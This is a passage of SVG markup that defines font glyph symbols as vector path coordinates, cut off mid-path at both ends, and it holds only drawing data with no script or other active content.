-4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="R"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="S"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="T"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="k"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="l"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="m"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="n"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="p"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="q"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="r"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="s"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="t"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="u"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="w"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="x"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="y"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="z"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="A"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 